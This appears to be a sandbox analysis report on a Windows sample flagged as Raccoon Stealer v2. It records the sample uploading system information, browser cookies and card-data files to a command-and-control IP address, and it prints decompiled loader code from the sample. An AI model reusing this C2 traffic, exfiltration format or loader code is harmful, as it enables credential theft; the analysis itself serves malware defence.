Apr 27, 2023 07:42:02.447978020 CEST	5743	OUT	Data Raw: 2d 2d 6a 38 74 33 68 38 79 37 4c 30 5a 44 4b 43 53 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 79 73 74 65 6d 20 Data Ascii: --j8t3h8y7L0ZDKCSkContent-Disposition: form-data; name="file"; filename="System Info.txt"Content-Type: application/x-objectSystem Information: - Locale: English- Time zone: - OS: Windows 10 Pro- Architecture: x64- CPU: Intel(R
Apr 27, 2023 07:42:02.526865959 CEST	5745	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Apr 2023 05:42:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received
Apr 27, 2023 07:42:03.165402889 CEST	5754	OUT	POST /739b32bcadfc7ce757042211b13fe41d HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=C2J5cy4teRts26Bc User-Agent: AYAYAYAY1337 Host: 85.192.63.15 Content-Length: 657 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 43 32 4a 35 63 79 34 74 65 52 74 73 32 36 42 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5c 63 6f 6f 6b 69 65 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6f 62 6a 65 63 74 0d 0a 0d 0a 6f 67 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 54 52 55 45 09 31 33 33 30 37 37 35 31 33 34 36 30 30 30 30 30 30 09 4f 54 5a 09 64 6a 45 77 52 55 54 37 68 30 32 36 57 33 4a 44 74 71 30 62 70 6a 74 6f 4e 30 37 72 68 37 6e 51 46 39 61 6a 4a 49 7a 6e 67 6a 66 5a 6f 57 71 37 33 78 45 59 4b 67 55 47 68 56 6c 50 46 6c 48 79 48 55 6d 50 71 79 58 34 47 2b 58 50 68 73 4b 64 31 51 3d 3d 0a 43 3a 5c 55 73 65 72 73 5c 68 61 72 64 7a 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 7c 48 4a 68 39 6c 79 68 75 2f 6a 32 6b 36 7a 47 4e 37 79 52 30 50 79 48 59 6c 4b 44 69 4f 2f 77 56 61 30 70 48 51 6b 51 79 79 45 6b 3d 7c 31 30 34 2e 30 2e 35 31 31 32 2e 38 31 2d 36 34 0d 0a 2d 2d 43 32 4a 35 63 79 34 74 65 52 74 73 32 36 42 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5c 43 43 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6f 62 6a 65 63 74 0d 0a 0d 0a 0a 0a 43 3a 5c 55 73 65 72 73 5c 68 61 72 64 7a 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 7c 48 4a 68 39 6c 79 68 75 2f 6a 32 6b 36 7a 47 4e 37 79 52 30 50 79 48 59 6c 4b 44 69 4f 2f 77 56 61 30 70 48 51 6b 51 79 79 45 6b 3d 7c 31 30 34 2e 30 2e 35 31 31 32 2e 38 31 2d 36 34 0d 0a 0d 0a 2d 2d 43 32 4a 35 63 79 34 74 65 52 74 73 32 36 42 63 2d 2d Data Ascii: --C2J5cy4teRts26BcContent-Disposition: form-data; name="file"; filename="\cookies.txt"Content-Type: application/x-objectogs.google.comTRUE/TRUE13307751346000000OTZdjEwRUT7h026W3JDtq0bpjtoN07rh7nQF9ajJIzngjfZoWq73xEYKgUGhVlPFlHyHUmPqyX4G+XPhsKd1Q==C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\|HJh9lyhu/j2k6zGN7yR0PyHYlKDiO/wVa0pHQkQyyEk=\|104.0.5112.81-64--C2J5cy4teRts26BcContent-Disposition: form-data; name="file"; filename="\CC.txt"Content-Type: application/x-objectC:\Users\user\AppData\Local\Google\Chrome\User Data\Default\|HJh9lyhu/j2k6zGN7yR0PyHYlKDiO/wVa0pHQkQyyEk=\|104.0.5112.81-64--C2J5cy4teRts26Bc--
Apr 27, 2023 07:42:03.250803947 CEST	5755	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Apr 2023 05:42:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: xGSkelSjdu.exePID: 4304, Parent PID: 3452

General

Target ID:	0
Start time:	07:41:51
Start date:	27/04/2023
Path:	C:\Users\user\Desktop\xGSkelSjdu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\xGSkelSjdu.exe
Imagebase:	0x400000
File size:	318288 bytes
MD5 hash:	2B2AEAEF6CD3A1DF47C938FC4F92A12A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5016, Parent PID: 4304

General

Target ID:	1
Start time:	07:41:52
Start date:	27/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: AppLaunch.exePID: 6772, Parent PID: 4304

General

Target ID:	2
Start time:	07:41:52
Start date:	27/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	false
Commandline:	C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe
Imagebase:	0x10000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: AppLaunch.exePID: 2228, Parent PID: 4304

General

Target ID:	3
Start time:	07:41:52
Start date:	27/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe
Imagebase:	0x10000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000003.00000003.238036948.0000000005194000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000003.00000003.257444328.0000000005199000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: xGSkelSjdu.exePID: 4304, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.6%
Total number of Nodes:	1788
Total number of Limit Nodes:	40

Executed Functions

Function 00401FE0 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 500
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E00401FE0(signed int __eax, void* _a4, long _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char* _v32;
				struct HINSTANCE__* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed char _t265;
				CHAR* _t266;

				_t265 = __eax;
				_v32 = "VirtualProtect";
				_v12 =  *0x424380;
				_v12 =  *0x42437c;
				_v12 =  *0x424378;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((__eax & 0x00000044) == 0) {
					_v12 =  *0x424368;
					_v12 =  *0x424364;
				}
				_v12 =  *0x424360;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v12 =  *0x42435c;
					_v12 =  *0x424358;
				}
				_v12 =  *0x424354;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v12 =  *0x424350;
					_v12 =  *0x42434c;
				}
				_v12 =  *0x424348;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v12 =  *0x424344;
					_v12 =  *0x424340;
				}
				_v12 =  *0x42433c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v12 =  *0x424338;
					_v12 =  *0x424334;
				}
				_v28 =  *0x424330;
				_v28 =  *0x42432c;
				_v28 =  *0x424328;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v28 =  *0x424324;
					_v28 =  *0x424320;
				}
				_v28 =  *0x42431c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v28 =  *0x424318;
					_v28 =  *0x424314;
				}
				_v28 =  *0x424310;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v28 =  *0x42430c;
					_v28 =  *0x424308;
				}
				_v28 =  *0x424304;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v28 =  *0x424300;
					_v28 =  *0x4242fc;
				}
				_v28 =  *0x4242f8;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v28 =  *0x4242f4;
					_v28 =  *0x4242f0;
				}
				_v8 =  *0x4242ec;
				_v8 =  *0x4242e8;
				_v8 =  *0x4242e4;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v8 =  *0x4242e0;
					_v8 =  *0x4242dc;
				}
				_v8 =  *0x4242d8;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v8 =  *0x4242d4;
					_v8 =  *0x4242d0;
				}
				_v8 =  *0x4242cc;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v8 =  *0x4242c8;
					_v8 =  *0x4242c4;
				}
				_v8 =  *0x4242c0;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v8 =  *0x4242bc;
					_v8 =  *0x4242b8;
				}
				_v8 =  *0x4242b4;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v8 =  *0x4242b0;
					_v8 =  *0x4242ac;
				}
				_v24 =  *0x4242a8;
				_v24 =  *0x4242a4;
				_v24 =  *0x4242a0;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v24 =  *0x42429c;
					_v24 =  *0x424298;
				}
				_v24 =  *0x424294;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v24 =  *0x424290;
					_v24 =  *0x42428c;
				}
				_v24 =  *0x424288;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v24 =  *0x424284;
					_v24 =  *0x424280;
				}
				_v24 =  *0x42427c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v24 =  *0x424278;
					_v24 =  *0x424274;
				}
				_v24 =  *0x424270;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v24 =  *0x42426c;
					_v24 =  *0x424268;
				}
				_v20 =  *0x424264;
				_v20 =  *0x424260;
				_v20 =  *0x42425c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v20 =  *0x424258;
					_v20 =  *0x424254;
				}
				_v20 =  *0x424250;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v20 =  *0x42424c;
					_v20 =  *0x424248;
				}
				_v20 =  *0x424244;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v20 =  *0x424240;
					_v20 =  *0x42423c;
				}
				_v20 =  *0x424238;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v20 =  *0x424234;
					_v20 =  *0x424230;
				}
				_v20 =  *0x42422c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v20 =  *0x424228;
					_v20 =  *0x424224;
				}
				_v44 =  *0x424220;
				_v44 =  *0x42421c;
				_v44 =  *0x424218;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v44 =  *0x424214;
					_v44 =  *0x424210;
				}
				_v44 =  *0x42420c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v44 =  *0x424208;
					_v44 =  *0x424204;
				}
				_v44 =  *0x424200;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v44 =  *0x4241fc;
					_v44 =  *0x4241f8;
				}
				_v44 =  *0x4241f4;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v44 =  *0x4241f0;
					_v44 =  *0x4241ec;
				}
				_v44 =  *0x4241e8;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v44 =  *0x4241e4;
					_v44 =  *0x4241e0;
				}
				_v40 =  *0x4241dc;
				_v40 =  *0x4241d8;
				_v40 =  *0x4241d4;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v40 =  *0x4241d0;
					_v40 =  *0x4241cc;
				}
				_v40 =  *0x4241c8;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v40 =  *0x4241c4;
					_v40 =  *0x4241c0;
				}
				_v40 =  *0x4241bc;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v40 =  *0x4241b8;
					_v40 =  *0x4241b4;
				}
				_v40 =  *0x4241b0;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v40 =  *0x4241ac;
					_v40 =  *0x4241a8;
				}
				_v40 =  *0x4241a4;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v40 =  *0x4241a0;
					_v40 =  *0x42419c;
				}
				_v48 =  *0x424198;
				_v48 =  *0x424194;
				_v48 =  *0x424190;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v48 =  *0x42418c;
					_v48 =  *0x424188;
				}
				_v48 =  *0x424184;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v48 =  *0x424180;
					_v48 =  *0x42417c;
				}
				_v48 =  *0x424178;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v48 =  *0x424174;
					_v48 =  *0x424170;
				}
				_v48 =  *0x42416c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v48 =  *0x424168;
					_v48 =  *0x424164;
				}
				_v48 =  *0x424160;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t265 & 0x00000044) == 0) {
					_v48 =  *0x42415c;
					_v48 =  *0x424158;
				}
				_t266 =  *0x42a004; // 0x423dd4
				_v36 = GetModuleHandleA(_t266);
				_v16 = 0;
				_t260 =  &_v32; // 0x423de4
				 *0x44cda0 = GetProcAddress(_v36,  *_t260);
				VirtualProtect(_a4, _a8, 0x40,  &_v16); // executed
				return 0;
			}

0x00401fe0
0x00401fe6
0x00401ff3
0x00401ffc
0x00402005
0x0040200b
0x00402011
0x00402016
0x0040201e
0x00402027
0x00402027
0x00402030
0x00402036
0x0040203c
0x00402041
0x00402049
0x00402052
0x00402052
0x0040205b
0x00402061
0x00402067
0x0040206c
0x00402074
0x0040207d
0x0040207d
0x00402086
0x0040208c
0x00402092
0x00402097
0x0040209f
0x004020a8
0x004020a8
0x004020b1
0x004020b7
0x004020bd
0x004020c2
0x004020ca
0x004020d3
0x004020d3
0x004020dc
0x004020e5
0x004020ee
0x004020f4
0x004020fa
0x004020ff
0x00402107
0x00402110
0x00402110
0x00402119
0x0040211f
0x00402125
0x0040212a
0x00402132
0x0040213b
0x0040213b
0x00402144
0x0040214a
0x00402150
0x00402155
0x0040215d
0x00402166
0x00402166
0x0040216f
0x00402175
0x0040217b
0x00402180
0x00402188
0x00402191
0x00402191
0x0040219a
0x004021a0
0x004021a6
0x004021ab
0x004021b3
0x004021bc
0x004021bc
0x004021c5
0x004021ce
0x004021d7
0x004021dd
0x004021e3
0x004021e8
0x004021f0
0x004021f9
0x004021f9
0x00402202
0x00402208
0x0040220e
0x00402213
0x0040221b
0x00402224
0x00402224
0x0040222d
0x00402233
0x00402239
0x0040223e
0x00402246
0x0040224f
0x0040224f
0x00402258
0x0040225e
0x00402264
0x00402269
0x00402271
0x0040227a
0x0040227a
0x00402283
0x00402289
0x0040228f
0x00402294
0x0040229c
0x004022a5
0x004022a5
0x004022ae
0x004022b7
0x004022c0
0x004022c6
0x004022cc
0x004022d1
0x004022d9
0x004022e2
0x004022e2
0x004022eb
0x004022f1
0x004022f7
0x004022fc
0x00402304
0x0040230d
0x0040230d
0x00402316
0x0040231c
0x00402322
0x00402327
0x0040232f
0x00402338
0x00402338
0x00402341
0x00402347
0x0040234d
0x00402352
0x0040235a
0x00402363
0x00402363
0x0040236c
0x00402372
0x00402378
0x0040237d
0x00402385
0x0040238e
0x0040238e
0x00402397
0x004023a0
0x004023a9
0x004023af
0x004023b5
0x004023ba
0x004023c2
0x004023cb
0x004023cb
0x004023d4
0x004023da
0x004023e0
0x004023e5
0x004023ed
0x004023f6
0x004023f6
0x004023ff
0x00402405
0x0040240b
0x00402410
0x00402418
0x00402421
0x00402421
0x0040242a
0x00402430
0x00402436
0x0040243b
0x00402443
0x0040244c
0x0040244c
0x00402455
0x0040245b
0x00402461
0x00402466
0x0040246e
0x00402477
0x00402477
0x00402480
0x00402489
0x00402492
0x00402498
0x0040249e
0x004024a3
0x004024ab
0x004024b4
0x004024b4
0x004024bd
0x004024c3
0x004024c9
0x004024ce
0x004024d6
0x004024df
0x004024df
0x004024e8
0x004024ee
0x004024f4
0x004024f9
0x00402501
0x0040250a
0x0040250a
0x00402513
0x00402519
0x0040251f
0x00402524
0x0040252c
0x00402535
0x00402535
0x0040253e
0x00402544
0x0040254a
0x0040254f
0x00402557
0x00402560
0x00402560
0x00402569
0x00402572
0x0040257b
0x00402581
0x00402587
0x0040258c
0x00402594
0x0040259d
0x0040259d
0x004025a6
0x004025ac
0x004025b2
0x004025b7
0x004025bf
0x004025c8
0x004025c8
0x004025d1
0x004025d7
0x004025dd
0x004025e2
0x004025ea
0x004025f3
0x004025f3
0x004025fc
0x00402602
0x00402608
0x0040260d
0x00402615
0x0040261e
0x0040261e
0x00402627
0x0040262d
0x00402633
0x00402638
0x00402640
0x00402649
0x00402649
0x00402652
0x0040265b
0x00402664
0x0040266a
0x00402670
0x00402675
0x0040267d
0x00402686
0x00402686
0x0040268f
0x00402695
0x0040269b
0x004026a0
0x004026a8
0x004026b1
0x004026b1
0x004026ba
0x004026c0
0x004026c6
0x004026cb
0x004026d3
0x004026dc
0x004026dc
0x004026e5
0x004026eb
0x004026f1
0x004026f6
0x004026fe
0x00402707
0x00402707
0x00402710
0x00402716
0x0040271c
0x00402721
0x00402729
0x00402732
0x00402732
0x00402735
0x00402741
0x00402744
0x0040274b
0x00402759
0x0040276c
0x00402779

APIs

GetModuleHandleA.KERNEL32(00423DD4), ref: 0040273B
GetProcAddress.KERNEL32(?,=B), ref: 00402753
VirtualProtect.KERNELBASE(?,00000000,00000040,00000000), ref: 0040276C

Strings

=B, xrefs: 0040274B, 0040274E

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: =B
API String ID: 2099061454-369884318
Opcode ID: 21d9928fb94bc1b35eab0e5eef57a94e535827862b7f388de5f8985bf81cb162
Instruction ID: bbe93bd1ac93616bc4c04d2af25c031ad20557b7b3a0c7ef311e00954d3c41bc
Opcode Fuzzy Hash: 21d9928fb94bc1b35eab0e5eef57a94e535827862b7f388de5f8985bf81cb162
Instruction Fuzzy Hash: CD22EB70B01109DBDB248B95FA8C2A9BF74FBD5390FE241A5D6D4320A9C77505B28F2E

Uniqueness

Uniqueness Score: -1.00%

Function 0040DF7B Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E0040DF7B(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t50;
				void* _t54;
				intOrPtr _t57;
				intOrPtr* _t59;
				intOrPtr* _t63;
				void* _t76;
				void* _t77;
				intOrPtr* _t80;
				char* _t81;
				char _t84;
				intOrPtr* _t87;
				intOrPtr* _t118;
				intOrPtr* _t123;
				void* _t124;
				void* _t125;

				_push(0x54);
				E00411B12(E00421FE2, __ebx, __edi, __esi);
				_t84 =  *((intOrPtr*)(_t124 + 8));
				_t123 = __ecx;
				if(_t84 != 0xffffffff) {
					_t87 =  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x24))));
					_t118 = 0;
					__eflags = _t87;
					if(_t87 == 0) {
						L7:
						_t50 =  *((intOrPtr*)(_t123 + 0x4c));
						__eflags = _t50 - _t118;
						if(_t50 != _t118) {
							__eflags =  *((intOrPtr*)(_t123 + 0x3c)) - _t118;
							if(__eflags != 0) {
								 *((char*)(_t124 - 0x30)) = _t84;
								E0040DD9C(_t84, _t124 - 0x2c, 8, _t118);
								 *((intOrPtr*)(_t124 - 4)) = _t118;
								_t54 = E0040D3B5(E0040DB9E(_t124 - 0x2c, _t124 - 0x48));
								_t57 = E0040D3B5(E0040DB9E(_t124 - 0x2c, _t124 - 0x50));
								_t118 =  *((intOrPtr*)(_t124 - 0x18)) + _t54;
								_push(_t124 - 0x38);
								_t84 = _t123 + 0x44;
								while(1) {
									_t112 = _t124 - 0x30;
									 *((intOrPtr*)(_t124 - 0x34)) = _t57;
									_t59 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x3c)))) + 0x14))(_t84, _t124 - 0x30, _t124 - 0x2f, _t124 - 0x3c, _t57, _t118);
									__eflags = _t59;
									if(_t59 < 0) {
										break;
									}
									__eflags = _t59 - 1;
									if(_t59 > 1) {
										__eflags = _t59 - 3;
										if(__eflags != 0) {
											goto L25;
										} else {
											_t63 = E0040D9A6(__eflags,  *((intOrPtr*)(_t124 - 0x30)),  *((intOrPtr*)(_t123 + 0x4c)));
											__eflags = _t63;
											if(_t63 != 0) {
												goto L27;
											} else {
												goto L25;
											}
										}
									} else {
										_t118 =  *((intOrPtr*)(_t124 - 0x38)) - E0040D3B5(E0040DB9E(_t124 - 0x2c, _t124 - 0x58));
										__eflags = _t118;
										if(_t118 == 0) {
											L16:
											 *((char*)(_t123 + 0x41)) = 1;
											__eflags =  *((intOrPtr*)(_t124 - 0x3c)) - _t124 - 0x30;
											if( *((intOrPtr*)(_t124 - 0x3c)) != _t124 - 0x30) {
												L27:
												_t123 =  *((intOrPtr*)(_t124 + 8));
											} else {
												__eflags = _t118;
												if(_t118 > 0) {
													L20:
													 *((intOrPtr*)(_t124 - 0x40)) = E0040D3B5(E0040DB9E(_t124 - 0x2c, _t124 - 0x48));
													_t57 = E0040D3B5(E0040DB9E(_t124 - 0x2c, _t124 - 0x50));
													_push(_t124 - 0x38);
													_t118 =  *((intOrPtr*)(_t124 - 0x18)) +  *((intOrPtr*)(_t124 - 0x40));
													__eflags = _t118;
													continue;
												} else {
													__eflags =  *((intOrPtr*)(_t124 - 0x18)) - 0x20;
													if( *((intOrPtr*)(_t124 - 0x18)) >= 0x20) {
														goto L25;
													} else {
														E0040C730(_t84, _t124 - 0x2c, _t118, _t123, 8, 0);
														goto L20;
													}
												}
											}
										} else {
											_t76 = E0040D3B5(E0040DB9E(_t124 - 0x2c, _t124 - 0x60));
											_push( *((intOrPtr*)(_t123 + 0x4c)));
											_push(_t118);
											_push(1);
											_push(_t76);
											_t77 = E00412324(_t84, _t112, _t118, _t123, __eflags);
											_t125 = _t125 + 0x10;
											__eflags = _t118 - _t77;
											if(_t118 != _t77) {
												L25:
												__eflags = _t123;
											} else {
												goto L16;
											}
										}
									}
									E00409A60(_t124 - 0x2c, 1, 0);
									goto L2;
								}
								goto L25;
							} else {
								_t50 = E0040D9A6(__eflags, _t84, _t50); // executed
								__eflags = _t50;
								if(_t50 == 0) {
									goto L8;
								} else {
									goto L6;
								}
							}
						} else {
							L8:
						}
					} else {
						_t80 =  *((intOrPtr*)(__ecx + 0x34));
						__eflags = _t87 -  *_t80 + _t87;
						if(_t87 >=  *_t80 + _t87) {
							goto L7;
						} else {
							 *_t80 =  *_t80 - 1;
							__eflags =  *_t80;
							_t123 =  *((intOrPtr*)(__ecx + 0x24));
							_t81 =  *_t123;
							 *_t123 = _t81 + 1;
							 *_t81 = _t84;
							L6:
						}
					}
				} else {
				}
				L2:
				return E00411B5C(_t84, _t118, _t123);
			}

0x0040df7b
0x0040df82
0x0040df87
0x0040df8a
